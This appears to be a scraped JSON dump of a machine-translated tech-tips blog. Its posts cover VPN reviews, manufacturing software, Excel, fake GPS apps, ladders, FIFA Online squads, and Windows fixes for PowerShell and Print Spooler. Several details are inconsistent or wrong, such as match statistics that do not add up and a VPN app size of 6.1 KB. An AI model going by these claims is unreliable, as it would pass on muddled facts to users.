Compatible:\u0026nbsp; Windows , Android, IOS. Download link:\u0026nbsp;\u0026nbsp;\u0026nbsp;Avira Phantom VPN Avira Phantom VPN provides you with a strong encryption and VPN security service, smooth performance, no IP or DNS leak. It unlocks Netflix, works with almost any device on the market, and has a free plan.\n Advantages Defect   Using one of the most encrypted and secure protocols on the market. Stop communicating with the Internet when the VPN loses connection. Unblock Netflix. Easy to use. Connect with many devices. Both free and paid versions are available.   Some personal information may be collected by the supplier. Competence 14 Eyes - Germany. The speed is very slow, the normal speed is reduced by 10% - 20%, even 50% - 70%. Lack of compatibility with some devices, incompatibility with TV or Game Console, and no routers.    - 1.1.1.1\nPublisher: Cloudflare. Capacity: About 120MB on iOS and about 6MB on Android Compatibility: iOS 10.3 or later, Android 5.0 and above. Download link: On iOS:\u0026nbsp; CLICK HERE . On Android:\u0026nbsp; CLICK HERE . 1.1.1.1 is a high speed DNS service and comes with excellent quality of security from Cloudflare. This is known to be a very prominent reverse proxy service provider in the market.\n Advantages Defect   Less battery life than other VPNs. Support the switching between Wifi and mobile networks better. Increase content compression. Your data will be committed by Cloudflare to not store to identify you, as well as to use it to sell advertising.   Anyone who is listening to packets on the network knows that you are trying to access cloudflare.com. DNS is unencrypted, and third parties easily change the DNS response to route unsuspecting visitors to phishing or malware sites.    - ExpressVPN\nPublisher: ExpressVPN Capacity: 2.3MB Compatible: Android, Windows, macOS, iOS, Linux, etc. Price: $ 6.67 / month Download link:\u0026nbsp;\u0026nbsp;ExpressVPN ExpressVPN has built a name for itself in the VPN business. This is considered a not cheap service, but the quality it brings is really worth it. Their sheer number of features combined with a large number of servers make it a difficult service to beat.\n Advantages Defect   The policy does not log. Strong security and AES-256 bit encryption. Fast speed, outstanding. Works with Netflix, BBC iPlayer, etc. Safe, fast and unrestricted torrent / P2P. User friendly application.   One of the most expensive VPNs today. VPN disconnect switch on iOS is not available. There is no graphical GUI operating system Linux.    - NordVPN\nPublisher: NordVPN.com. Capacity: 20.2MB. Compatible: Android, Windows, macOS, iOS, Linux, etc. Price: $ 12.18 / month. Download link:\u0026nbsp;\u0026nbsp;NordVPN NordVPN is seen as another giant in the VPN business, based in Panama. Operating since 2012, the company has made great strides in just a short time. As of 2018, it has more than 4,000 servers located in 62 countries.\n Advantages Defect   Do not keep logs of user activity. Stop communicating with the Internet when the VPN loses connection. Protection with dual VPN. Connect 6 devices on many types of platforms. High speed. Netflix is ​​updated continuously. There are more than 4,000 servers in 62 countries around the world.   Doesn't work well in some countries with strict internet regulations (like China or Turkey). Only supports running Torrent on some servers. Server and application connection is slow. The configuration is not user friendly.    - PureVPN\nPublisher: PureVPN. Capacity: 39.5MB. Compatibility: Windows, iOS, macOS, Android, Linux. Price: $ 10.95 / month. Download link:\u0026nbsp;\u0026nbsp;PureVPN PureVPN is one of the lesser known VPN providers in the VPN business. While PureVPN has a very good price and offers a lot of interesting features.\n Advantages Defect   Good data encryption, using 256-bit AES data encryption technology. The policy does not log. Full support Torrenting.   PureVPN doesn't really control a DNS leak. Does not support Netflix. Inconsistent information + slow speed.    - IPVanish\nPublisher: IPVanish Size: 6.1 KB Compatible: Windows, macOS, iOS, Android, etc. Price: $ 3.49 / month\u0026nbsp; Download link:\u0026nbsp;\u0026nbsp;IPVanish IPvanish is a VPN service with speed, strong security system, and strict no-logging policy. Unlike many other VPN services, it allows torrenting and unblocking Netflix.\n Advantages Defect   Can be used with most devices. High security due to 256-bit encryption. Policy does not save access logs and interrupt activity. The speed is large enough to stream 8k video.   Lack of optimized servers. There are privacy issues related to logging in or singing the server in an unusual location. The customer support service is not good. Poor customer application.    VPN VPN software ncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqFdqsCmecBmrammXay1prqMqaOasZmjtG6zwKacrGWmpbtuv86fq7CZopp6p7vRZp6apZmjtA%3D%3D\n","link":"/post/should-i-use-a-vpn-when-playing-games-vpn-software-for-gaming/","section":"post","tags":null,"title":"Should i use a VPN when playing games? VPN software for gaming"},{"body":"Businesses in the manufacturing industry, in particular, rely heavily on machinery, tools, and gadgets, so such companies will inevitably want to incorporate the latest tech released. This includes more than just hardware; there are various software and digital tools developed daily to provide management solutions, automate product planning and tracking, optimize time management, and more. To help you make the most of this prevailing trend, this article will compile a list of software tools that can benefit manufacturing companies and help increase their productivity.\n  ERP and MRP Software Systems You do not necessarily need to be a software engineer or a specialist when dealing with manufacturing software tools, but it does help to have a basic idea of the type of systems used. In the digital world, there are two main types of product planning: ERP and MRP.\u0026nbsp;\nEnterprise Resource Planning or ERP systems have always been a prime option when it comes to handling day-to-day activities, such as project management, procurement, and supply chain reactions, this streamlines processes and info across the entire organization. It can handle a lot of projects simultaneously, so it is more expansive. It has features like email marketing, customer help desks, and marketing automation.\nAs for the Material Requirement Planning or MRP, this software is regarded as a subset of ERP and can be used as a standalone feature. It is used in manufacturing processes, such as scheduling, control, and planning for materials. It deals with smaller projects. It is designed particularly for manufacturing industries. In a nutshell, ERP lets a company manage and control all aspects of its business, whereas MRP guarantees that resources and materials are available for production.\nMRPEasy MRPEasy is one of the most popular MRP software used by many manufacturers, especially small manufacturing companies. It has a comprehensive interface that includes Production Planning, inventory management, purchase tracking, accounting, customer relationship management (CRM), and team support. It uses a spreadsheet interface that looks like a multidisciplinary Excel sheet. It allows you to track your company's expenses, utilization reports, and managerial statistics. MRPEasy is especially great for 3D printing manufacturers and companies in the defense and aerospace industries, and it provides four tiers to fit any budget.\nNetSuite This is a reputable, cloud-based ERP software system used by all sizes of business. Companies use it to manage inventory, host e-commerce stores, keep a record of the finances, and effectively uphold the CRM. It also has demand planning features, which are essential in striking a balance between demand and supply in the market. NetSuite is scalable and flexible, letting its users add and customize functions. It lets you focus on delivering services and products efficiently to grow your business.\nFishbowl Manufacturing This ERP software is made for small and medium-sized enterprises. It provides advanced handling of material costs, orders automation, inventory control for companies that use QuickBooks or spreadsheets. It can perform inventory management tasks, such as tracking and reorder points in multiple locations. You are provided with visibility on production stages because Fishbowl Manufacturing lets you create multilevel work orders.\nKatana Katana is another great cloud-based, MRP software inventory software. It is designed for scaling businesses of all sizes to automate their workflows. Katana deals with warehousing, purchasing, manufacturing, and sales into a single online platform. It also assimilates with shipping, accounting, and e-commerce platforms. Its interface has a smart auto-booking engine, letting you see the finished goods, available raw materials, and prioritize orders.\nEvery business owner must look for ways to streamline their operations to stand out in their field. Luckily, technology has an answer to almost everything in life. There is no need to worry about the strenuous processes and overwhelming tasks when dealing with inventory, sales, purchases, or any other business-related matter. With the right software tools, you can now effectively streamline the operations of your manufacturing company.\nSoftware Tools CRM ncG1vNJzZmismaXArq3KnmWcp51kwLCy07CYq51dqbywuNJmq6GZpGLEqrjLZqCmqKKkw6Z5z6umna2Tqba3tdOyZJ%2BnomK6orrUn5icrKWntq%2BzjJympqiRo7amvw%3D%3D\n","link":"/post/software-tools-that-will-improve-productivity-for-manufacturing-companies/","section":"post","tags":null,"title":"Software Tools That Will Improve Productivity For Manufacturing Companies"},{"body":"The INT function helps you get the integers of a number, often used to process the result of a division in Excel.\n  If you do not know about INT function, you follow the article below to know the syntax and usage of the INT function.\nDescription The INT function rounds a number down to the nearest integer of a number (or a division multiplication operation).\nSyntax = INT (number) \nInside:\n- number: real number, or a division multiplication operation that you want to round down to integers, required parameters.\nFor example - number is a real number.\nExample 1:\n  Example 2:\n  - number is a division multiplication operation.\nExample 3:\n  The syntax and usage of the INT function is very simple, you can combine it with other functions in Excel to process data more efficiently. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKKlrWWWqrukwMiopWaqn6q7pb%2BMmmSnrZ2XsrN5w6iup2WkpHq1tMRmpZ6ZoprAtXnIp6uen5WnerCyjJpkp62dl7KzecinZJ6wk5q5\n","link":"/post/the-int-function-rounds-a-number-down-to-the-nearest-integer-of-a-number-in-excel/","section":"post","tags":null,"title":"The INT (Function rounds a number down to the nearest integer of a number) in Excel"},{"body":"Kano PC, a company specializing in the design and manufacture of low-cost computer models for education, helps children become familiar with hardware configuration and encryption, recently partnered with Microsoft to produce eye a model of Windows 10 laptop modeled, allowing children to learn how to assemble a computer system of their own.\nPreviously the assembly of a PC system was extremely difficult. Besides the lack of physical conditions, the cost of buying hardware components is not cheap, so it is almost impossible for children to practice assembling computers at schools. Instead, babies will often only get acquainted with the parts as well as the way of operating a computer-based computer system. This lack of practical experience makes the overall quality of the learning process significantly reduced.\nThe best computers for students in 2019   PC Kano\nOverall, building a PC or laptop system is always a really difficult job. This simple PC Kano toolkit will not be able to provide you with a perfect system, but will be a great way to introduce children to ideas about building their own computer systems, as well as giving children a clearer picture of each component and how it works in a real computer.\nThis is the world's first Lenovo ThinkPad X1 folding screen computer Specifications of PC Kano toolkit include:\nIntel Atom x5-Z8350 Quad core 1.44 GHz 4GB DDR3L RAM (unknown clock rate) 64GB eMMC, can be upgraded via microSD slot 1 USB 3.0 port 1 USB 2.0 port Dual-band Wi-Fi 802.11n Bluetooth support 4.2 Screen 11.6 (unknown resolution) 1 HDMI port. 3.5mm headphone jack. This device will run on Windows 10 S. platform. This is the version of Windows 10 operating system specifically aimed at young users and students, with the aim of targeting the market share of Chrome OS. Windows 10 S is provided by Microsoft completely free of charge for schools and educational institutions. Also comes with a number of built-in applications specifically for Kano devices like How Computer Work, Make Art, Kano App, Paint 3D, Kano Projects, and Microsoft Teams.\nThe PC Kano toolkit will cost $ 299 and will begin shipping in October, promising to be a rewarding new school year for students who want to start getting used to how it works. a computer system as well as learning how to build your own PC.\nSurface Centaurus - Microsoft's new hope in the folding screen device market?   All components of the PC Kano kit\nIt is not clear whether the Windows 10 S version on Kano PC can be converted to regular Windows 10 version. If possible, this would be a great small computer model for 'dabble' testing. In addition, Kano also offers variants running Linux and RBP depending on the user's needs.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKecsGWgmHqsrc2oZK2nn6G4qsCMmqOlp6eoeqS0yKWbq52eYsGwecGuoKWcXam1prXRZqawpl2stq%2BwzrCqZmlgYrmivNOop6w%3D\n","link":"/post/the-new-pc-kano-toolkit-allows-children-to-build-their-own-windows-10-laptops/","section":"post","tags":null,"title":"The new PC Kano toolkit allows children to build their own Windows 10 laptops"},{"body":"1. Fake GPS Location   The Fake GPS Location application from the developer Lexa provides a great experience when you search and use the Fake GPS app. With this application, you can drop a pin anywhere on the map to create a virtual location or refer to the list of addresses you have ever changed in your search history. If you are near an exact location, you can use this app to hide your actual location quickly.\nLink to download the app here. 2. Fake GPS Go   Don't be confused or confused when you see the name of this app because Fake GPS Go Location is one of the best location simulator apps on Android. The word Go in the app name is reminiscent of this being a virtual address generator app for Pokemon Go players but this app can generate virtual addresses and works well with apps that require permission to view exact location .\nThe application is released for free with basic features such as creating virtual locations, saving location history and creating lists of favorite locations. The paid version will provide users with several benefits such as removing ads and much more.\nLink to download the app here. 3. Fake GPS   The simple name Fake GPS accurately describes this application that it is quite simple and does not make it difficult for users. This application easily \"bypasses\" the navigation system on Android devices and uses the virtual GPS system to create a new virtual address on Google Maps. With over 5 million app installs, Fake GPS is a simple app to create virtual address on Android device trusted by users. You can save your simulated frequent locations as a list and change them randomly using the settings in the app.\nLink to download the app here. 4. GPS Emulator   If you need to find a simple GPS emulator application on Android, you can find and download GPS Emulator on Google Play. With a simple interface and 3 function buttons to stop (Stop), set (Set), create favorite places (Favorite) to help you easily manipulate and simulate your favorite location. You can change the map view to different styles including terrain or satellite view to help you discover more new places outside of your city.\nLink to download the application here. 5. Fake GPS Location - Joystick and Routes   Another great fake GPS app on this list is Fake GPS Location - Joystick and Routes. With this application, you can use completely free with basic functions a fake GPS application such as creating virtual addresses, adding and storing the created address list. In addition, the application also provides the ability to find the way or save the nearest route to the place you have created.\nLink to download the app for Android here. With the applications in the above article, you can download \u0026amp; use to create a virtual GPS address on your Android device quickly. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kn5mbmnqovNJmmKmoo2K8r3nAp5urp5mZ\n","link":"/post/top-5-fake-gps-apps-on-android/","section":"post","tags":null,"title":"Top 5 Fake GPS Apps on Android"},{"body":"  What is bookmarks in the browser and how to use related bookmarks, when using the web browser you will need bookmarks because it is a pretty handy function. Let's TipsMake.com learn more about Bookmark and how to use it in this article.\nBookmarking is a concept that existed a long time ago. Do you know book lovers who don't like bookmarking the page they're reading by folding a corner of the page? They will use a small piece of paper to hold it at the position they have read in the book, and this paper will be called with the name of the bookmark we know.\nA bookmark is an object that uses a bookmark to position a book you are currently reading.\n  So the concept of Bookmark for the browser on the computer is almost the same. It is used to mark the web address that you want to remember and to visit later.\nAs you can see Bookmark in browser is a short link for you to access a website.\nTo bookmark a website in your browser, you can go to that website and see a small star on the right in the address tray of that website. You click on that star to save the bookmark of that page.\n  When a website is marked blue in the Folder as Bookmarks Bar , the website address will be displayed in the position directly below the browser address tray as a button icon with the website's logo and the Name you Put on that Bookmark.\nWhen you want to access this address again via Bookmark, you just need to click on it.\n  The addresses stored in the Bookmark Bar will be arranged adjacent to each other, you can rename them very briefly (because the name of a website is often quite long) so that a Bookmark does not take up too many positions on the bookmarks bar. Page.\n  You can also separate different folders to contain bookmarks, so you can easily organize and categorize them for future use and searching. Right-click on the bookmarks bar and select Add folder in the list of options displayed.\n  Give the folder a name and choose a location to display the folder, if you still choose to be in the Bookmark bar , the New folder will display directly on the bookmarks bar.\n  Now you can store other websites in the folder you just created by changing the Bookmark Bar in the Folder section to the name of the folder you just created when you put a star to create Bookmark.\n  The bookmark for that page will be saved to the folder you selected as a vertical drop-down list.\n  If you want to delete a Bookmark or a folder in your web browser, just right-click on it and select Delete in the list of options.\n  Thank you for reading our article on Bookmarks as well as how to use Bookmarks in web browsers. TipsMake.com hope you can learn more knowledge about Bookmark in the browser through this article.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWSpLysucCromagn6x6tbuMrqqeZZKkvKy5wKuiZqGeYsSmroybqaivo5q%2F\n","link":"/post/what-is-bookmark-how-to-use-bookmark-in-web-browser/","section":"post","tags":null,"title":"What is bookmark? How to use Bookmark in Web browser"},{"body":"Currently on the market there are many types of aluminum ladders from different brands, this is also the problem that many people care about when not knowing which type of genuine aluminum ladder is both good and durable and safest. So the following article will give you a more knowledgeable view of the best general purpose aluminum ladder products available today.\nSee more:\nInstructions for using safe aluminum A-ladder Advise to choose the appropriate aluminum ladder How to distinguish different types of aluminum ladders The best aluminum ladder brands today Types of popular aluminum ladder brands are now and well known such as: Aluminum Nikawa ladders, Aluminum ladder Advindeq, Aluminum Nikita ladders, Aluminum ladder Ameca . The products from this brand have been Very appreciated use. Quality products have been tested for quality and durability standards.\nVersatile aluminum ladders are known as A-ladder, retractable ladder, ladder, sliding ladder. In which A and ladder stairs, sliding ladders are aluminum ladders that are commonly used in families or civil repairs. Particularly with the withdrawal scale, in the industrial electric repair industry or more used.\nNikita versatile aluminum ladder, Nikawa multi-purpose aluminum ladder Nikita is a Japanese brand, usually these types of ladders are warranted for 12 months.\nUsers can rely on the number of stairs to select a product that suits the family's needs.\nThe advantages of these versatile aluminum ladders are flexibility, which can turn into U-shaped ladder, A-ladder, or I-ladder and fold easily. For example:\nThe 6-piece Nikita NIK46A is about VND 2,850,000.\n6 times more flexible to help you in many jobs depending on terrain and different heights. Use automatic, safe collapsible lock. (Stainless steel automatic lock box, durable so you can feel secure when using). The key points of the NIK46A scale are designed very firmly. Thick rubber base has high grip, anti-slip when used. Taiwan high quality aluminum alloy material The maximum height of 7m15, the height of letter A 3m45 (12 steps on each side) and the height of 1m33 shorten are suitable for many different jobs. Load capacity of 150kg Warranty 12 months.   You can also refer to the Nikawa aluminum ladders such as the Nikawa NKB-43 multi-function aluminum ladder for about VND 2,470,000 - The Nikawa NKB-43 can change the shape in a very flexible way into an A or stretch the letter I for use. In particular, aluminum ladders can be folded and the stacking size is only 1m.\n    Ameca ladder Compact aluminum ladders come in a variety of designs, such as a compact, single-sided aluminum ladder with an A-sized aluminum ladder (this versatile retractable ladder can fold the A-shape to use or straighten the I mentioned above. Multipurpose aluminum ladder item).\nAs for aluminum ladders, apart from Nikawa, Nikita, you can refer to Ameca brand - American brand.\nFor example: Ameca AMD-380 single loading ladder costs VND 1,750,000.\nThe height of letter I ladder is 3.8m maximum Height when shortened 88cm with 13 steps Warranty 12 months. Ladder surface is protected by always shiny, ultra-durable rust protection. The safety lock users can choose the height of the ladder to suit their use needs.   Advindeq chair ladder Advindeq is a Chinese brand, trusted by many families because of its good price and good quality.\nFor example, the 4-step Advindeq ADS504 chair ladder costs about 580,000 VND\nConstructed with 4 steps, the opening height reaches 121cm and the load up to 150kg allows you to perform many different types of work such as repairing, assembling overhead items, decoration, wall cleaning, housing, rooms, taking objects in places beyond reach . The steps are designed to be large and still create friction, safe to use for both the elderly and children. Maximum load of 150kg Warranty 12 months In addition, you can refer to the Nikawa ladder chair, Sumika seat ladder, or Ninda chair ladder - These are 3 luxury brands from Japan.\n  Nikawa sliding ladder, Poongsan brand Nikawa can be said to be the leading brand of all-round aluminum ladders, including industrial aluminum ladders. This Nikawa sliding ladder is mostly used in industrial electrical industry, so there will be additional safety insulation features, for example:\nThe Nikawa NKL-120 three-step insulated staircase costs about VND 18,850,000\nLadder is covered with high-grade glass fiber for optimal insulation. Brackets are equipped at both ends, covered with corrugated rubber, anti-slip when used. High-strength and compact aluminum material, including 3 interlocking sections to help carry, move easily and flexibly. Minimum use height: 5.15m - Maximum usage height: 12m. Warranty 12 months.   Poongsan is a brand from Korea, up to 24 months warranty. Poongsan sliding ladders are imported directly in Korea so you can rest assured to use them. For example:\nAluminum ladder sliding Poongsan PS-3120-2 costs about VND 7,780,000.\nThe lowest height of use is 6.23m - The maximum height is 11.35m and the ability to withstand the load up to 100kg, bringing the user convenience. The structure is made of 100% aluminum which is durable, anti-slip. Automatic D-lock design Import 100% from Korea - 24 months warranty.   Choosing a genuine brand aluminum ladder is not a prerequisite to help you get the best product. Because if you choose to buy aluminum ladders in unreliable places, it will make you buy fake, low quality goods.\nThe following is a reliable address that you can refer to:\nMETA Hanoi: No. 56 Duy Tan, Dich Vong Hau Ward, Cau Giay. Phone: 024.3785.5633 META HCMC: 716-718 Dien Bien Phu, Ward 10, District 10. Phone: 028.3830.8569 ncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFkrbGgmnqwsoyao66lmaPCrnnLmpudnaJiwKm71KWbZrGfqnqjwdhmmZ6rpGKur7CMpqasrF2ZwrOtwaWc\n","link":"/post/which-type-of-aluminum-ladder-should-you-buy-best-and-most-durable/","section":"post","tags":null,"title":"Which type of aluminum ladder should you buy best and most durable?"},{"body":"Squad 1. Gone are the golden days of Barca, despite possessing many attacking superstars, but Barca is currently the most difficult club in Fo4 because these factors are no longer suitable for the meta. That's why, instead of \"acting\" your team with a \"tiki taka\" play like in the Fo3 era, Barca will now play in a more modern, muscular direction.\n  A Korean coach built a 42211 squad with a very nice +8 formation and if you think it's good, you can completely learn how to build this. The most notable innovation was that Koeman was promoted to CDM, taking on the role of the Dutch legend Rakitic - one of the world's best defensive midfielders for a while.\nFinally, the bottom row with the presence of one of the best central defenders in football history - Puyol, playing with him is French midfielder - Laurent Blanc.\n  Statistics of the Korean coach in the last 30 matches.\n  - Win 14, draw 0, lose 14 - win rate 53%\n- Score: 2 goals/match\n- Conceded :2.1 goals/match\n- 35.8% shot success rate\n- Ball possession rate 44.4%\n- Distance to score 16.1m\n- Successful passing of the ball 88.5%\nLineup 2 Next we will come to a squad full of attacking superstars with Messi as the \"leader\". The tactic used is still 42211 with the appearance of Messi 22TY as an attacking midfielder, in midfield Rakitic will share the fire with Xavi, these two midfielders play an extremely important role in shaping the game. of the whole team.\n  Because the defensive squad is a bit thin, the coach has built a play with the defense and the two CDMs both tend to be deep.\n  Statistics of the coach who built this squad in the last 30 matches.\n  - Win 20, draw 0, lose 10 - Rate 66.6%\n- Score: 2.5 goals/match\n- Conceded: 1.6 goals/match\n- Hold the ball 49.5%\n- 40.1% shot success rate\n- Passing accuracy 91.3%\n- Distance to score 15.1m\nSquad 3. Those who are both Barca fans and also genuine Fo4 players understand that, recreating Barca's football style in the golden years in the current meta is impossible. When playing the ball at high speed, it is often inaccurate to lose the ball to the opponent's feet. Many coaches have boldly removed Messi from the squad and here is a type of squad that you can refer to.\n  The squad is built with a 4222 diagram, on the two wings, Pedro and Neymar will take on the task of reversing your team's squad, these two players have the ability to penetrate the wings very well, especially both legs are 5/ 5.\n  This team-building coach has set up DS1 for all players in the attack, thereby revealing the intention of pressing the game right on the opponent's side, which is understandable because Barca has never been evaluated as a club with the highest potential. good defense, their CDMs and CBs are always underrated in Fo4.\nStatistics of this coach in the current season\n- Win 155, draw 41, lose 65 - win rate 59.3%\n- Score: 2.7 goals/match\n- Longest winning streak 16\n- Current rank : 7\n- Team Tactics\n- Gameplay: Organize\n- Attack : Freedom\n- Defense: Freedom\nFIFA Online 4 ncG1vNJzZmismaXArq3KnmWcp51ks6qywGamp6SZo7JugIxsZKytoJq%2FtMDAq6mappuasW6uwKuanqSfo65uv9CumJ2rXay8s8DHZqursZmjtG6%2ByKCfrWWepMQ%3D\n","link":"/post/3-superstar-ranked-barcelona-squads-worth-trying-right-now/","section":"post","tags":null,"title":"3 superstar-ranked Barcelona squads worth trying right now"},{"body":"In this article, we will take a detailed look at this weird PowerShell issue, what causes it, and all the possible solutions that you can do to fix it.\n1. Remove the PowerShell shortcut from the Startup folder\nYour Windows device has a folder named 'Startup folder'. All shortcuts or apps in this folder will run as soon as you start your device.\nNow, PowerShell will also run at startup if its shortcut is in this folder. To work around this issue, delete the PowerShell shortcut from this folder as follows:\nStep 1: Press Win + R to open the Run dialog box.\nStep 2: Type %ProgramData%/Microsoft/Windows/Start Menu/Programs/StartUp and press Enter.\n  Locate and delete the PowerShell shortcut from the Startup folder.\n2. Disable PowerShell Startup Status on Task Manager This problem can also be caused by the way you have configured some settings. For example, PowerShell Startup Status can be enabled in Task Manager.\nSo let's see how you can disable PowerShell Startup Status on Task Manager:\nStep 1: Press Ctrl + Shift + Esc to open Task Manager.\nStep 2: Navigate to the Startup tab.\nStep 3: Right-click the Windows PowerShell option and select Disable. Finally, close the Task Manager and restart the device.\n  3. Disable PowerShell Startup Status Using Autoruns Sometimes it's hard to tell if PowerShell is configured to run at startup.\nIn this case, you can use a tool called Autoruns. This feature helps you identify apps that run immediately when you turn on your device.\nNow, here's how you can use the Autoruns program to solve this problem:\nStep 1: Download Autoruns from Microsoft website.\nStep 2: Run the program and navigate to the Logon tab.\nStep 3: Find PowerShell from the options and then uncheck its corresponding box. For example, the image below shows how you would do this for the OneDrive app.\n  Finally, close the Autoruns program and restart the device to save these changes.\n4. Reboot the device in Clean Boot mode This PowerShell error can be caused by some broken third-party application on your device. Now, the best solution here is to do a clean boot. From there, you can remove any suspicious apps.\nAnd once you've removed the problematic app, try downloading it again - but this time use a secure site. However, if you don't want to remove the faulty app, try updating it and see if that helps.\n5. Perform a basic scan on the device   In some cases, this error can be caused by some corrupted system files. To resolve the issue, you can perform a simple scan using the Check Disk (CHKDSK) tool.\nRun the scan and then restart your device to save these changes.\n6. Run an advanced scan on the device   If the Check Disk scan doesn't help, then you need to take a different approach. For example, you can now run advanced scans using the DISM and SFC tools. These two features are very useful when fixing or replacing corrupted system files.\n7. Run the System Maintenance troubleshooter Perhaps this is a problem you can solve with one of the built-in debuggers. In this case, the article will assume that this error is caused by a system maintenance problem. So an easy way is to use the System Maintenance troubleshooter.\nHere's how you can run this debugger to solve the problem:\nStep 1: Press Win + R to open the Run dialog box.\nStep 2: Type msdt.exe -id MaintenanceDiagnostic and press Enter.\nStep 3: Next, click the Advanced option in the System Maintenance troubleshooter window. From there, check the Apply repairs automatically box and click Next.\n  Step 4: Follow the onscreen steps and reboot the device when you're done.\n8. Windows Update A simple Windows update can be one of the best solutions to this problem. That's because the latest features can eliminate the system bugs that cause this problem. In addition, this will also solve other system problems.\n9. Temporarily Disable Windows PowerShell If you still cannot resolve this issue, then you may consider disabling Windows PowerShell temporarily. Besides, you can always run your commands using Command Prompt. And even if Command Prompt isn't a good fit, there are plenty of other Command Prompt alternatives to try.\nNow, here's how you can temporarily disable PowerShell:\nStep 1: Open the Start menu search bar and type CMD.\nStep 2: Right-click on Command Prompt and select Run as administrator.\nStep 3: Type the following command and press Enter:\nDism /online /Disable-Feature /FeatureName:\"MicrosoftWindowsPowerShellV2Root\" Wait for the process to complete and then restart your device.\nIn case you want to re-enable PowerShell, here's what you can do:\nStep 1: Open Command Prompt according to the previous steps.\nStep 2: Run the following command and press Enter:\nDism /online /Enable-Feature /FeatureName:\"MicrosoftWindowsPowerShellV2Root\" PowerShell is a handy tool that you can use for various purposes like automating PC tasks. However, it's annoying that the PowerShell window keeps popping up randomly.\nSo, if PowerShell continues to randomly show up on your screen, try any of the tips mentioned above.\nncG1vNJzZmismaXArq3KnmWcp51khm7DwLKqZqyfYrOqxIypprCdoqi1prjLZpyrqp%2BnwG7Ax5qrZqulmbGmusuyZJqooJqus3nOp2SrnZKkvLU%3D\n","link":"/post/9-ways-to-fix-powershell-errors-that-suddenly-appear-on-reboot/","section":"post","tags":null,"title":"9 ways to fix PowerShell errors that suddenly appear on reboot"},{"body":"    because it is an important component of the android operating system (os), linux is still very important to the mobile world. however, while android uses the linux kernel, it is just a linux distribution, but linux for mobile devices offers a completely different experience. find out why using a   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0miYna6Ro8Gis8SsZJqmlGKxqr%2FAna2apqSWtKa%2FjKidZqSZo8K5ec6pnKuZpJ67qHnSsqqtnZ1ivK95zKiZoqSVYrGmwsicnKxmmKm6rQ%3D%3D\n","link":"/post/advantages-and-disadvantages-of-linux-operating-system-on-mobile-devices/","section":"post","tags":null,"title":"advantages and disadvantages of linux operating system on mobile devices"},{"body":"Print Spooler is a software program in Microsoft Windows that is responsible for managing all print jobs sent to the printer or print server. Sometimes if the Print Spooler service is having problems, you may get the error 0x800706B9 - 'Windows could not start the Print Spooler service on the Local Computer. Error 0x800706B9: Not enough resources available to complete this operation ' .\nThe reason for the Print Spooler error 0x800706b9 in a Windows 10 PC could be anything from corrupted registry keys or values, a third-party firewall or antivirus software that prevents the launch of Print Spooler or anything else. what. Here are some ways to fix Print Spooler error 0x800706b9 on Windows 10\nIf this is the first time you notice the printer stops printing or encounters the Print Spooler error 0x800706b9, you should restart the Print Spooler service by following the steps below.\nRestart Print Spooler Press Win+ key R, type services.msc and click OK.\nThis will open the Windows service control panel, scroll down and locate the Print Spooler service .\nRight-click on the Print Spooler service , select Stop.\nRight-click on the Print Spooler service, select Stop Next, press the Win+ key Eto open File Explorer, then open C: Windowssystem32spoolPRINTERS , click Continue when asked for permission,\nNow, delete all files and folders in the Printers folder .\nGo back to Services , locate Print Spooler service , right-click on it and this time choose Start.\nIf the Print Spooler service has an error / problem, performing the steps above will fix the error 0x800706B9.\nRun the Printer Troubleshooter Windows 10 comes with a number of built-in troubleshooting tools, to fix the problem yourself. Running the Printer Troubleshooter is specifically defined to detect and fix common printer-related problems.\nNote : While running the Printer Troubleshooter, make sure the printer is connected to the computer and turned on.\nPress the Win+ key Ito open the Settings application .\nClick Update \u0026amp; Security , then select Troubleshoot.\nClick the Additional troubleshooter link .\nClick the Additional troubleshooter link Next, click on the Printer option and click on the Run the Troubleshooter button .\nClick the Run the Troubleshooter button This will start diagnosing problems that prevent the Windows printer function from functioning properly. Check Print Spooler service , troubleshoot related software problems.\nOnce done, reboot the PC and check if the Print Spooler 0x800706b9 error still exists on the PC.\nEdit the Registry Press the Win+ key R, type regedit and click OK to open Registry Editor.\nNavigate to:\u0026nbsp;\nHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSpooler Select the Spooler button on the left, then find DependOnService on the right.\nDouble click the DependOnService string and change its value by deleting the HTTP section and leaving the RPCSS intact .\nDelete the HTTP part and leave the RPCSS whole Close Registry Editor and restart the PC.\nAlternatively, you can use the Command Prompt, all you need to do is open Command Prompt with admin rights, then type CMD / K SC CONFIG SPOOLER DEPEND = RPCSS and press the key Enter.\nUpdate printer driver Again, it's likely that the outdated printer driver is causing the problem, so update your current printer driver to the latest version.\nOpen Device Manager with devmgmt.msc.\nAll installed device drivers will be listed.\nRight-click on the printer causing the problem and select the Update driver option .\nClick the Search automatically for updated driver software option .\nIf a newer update is available, Device Manager will automatically download and install the package, similar to Windows Update, using Microsoft's servers.\nCheck with other user accounts There is a possibility that the corrupted user account may be causing the problem, Please check with another user account.\nPress Win+ Ito open Settings and then click Accounts.\nClick the Family \u0026amp; other people tab in the left menu and click Add someone else to this PC in Other people .\nClick I don't have this person's sign-in information at the bottom.\nClick I don't have this person's sign-in information Select Add a user without a Microsoft account .\nNow, enter the username and password for the new account and click Next.\nLog out the current user and log in to this new user account, see if the printer is working.\nIn addition, the culprit behind the incident may be a third-party system protection program, temporarily disabling antivirus software, anti-malware or firewall on the computer and checking this. is it helpful\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjKmpoqakmr9uv8%2BopqWdomKys77Oq2Scp5SaenHEl2lncGhml4Zuu81mrqKmlKTEtHmQaQ%3D%3D\n","link":"/post/fix-printer-spooler-error-code-0x800706b9-on-windows-10/","section":"post","tags":null,"title":"Fix Printer Spooler error code 0x800706b9 on Windows 10"},{"body":"PowerPoint can be standard when presenting, but it is not the only option. Yes, the application provided by Microsoft may be the most powerful, but it is not the easiest tool to use. In fact, Apple's Keynote application is the easiest to use tool, making preparation and presentation easier.\nEven if you are consistent with the application provided by Microsoft, users can sometimes encounter 'bad jokes' with PowerPoint files, such as problems with .ppt or .pptx format. Fortunately, converting them to Keynote format is a simple process.\nInstructions to transfer PowerPoint files to Keynote Enter PowerPoint presentation into Keynote Replace fonts not in Keynote Other problems may occur Check the presentation Save the presentation as a Keynote file 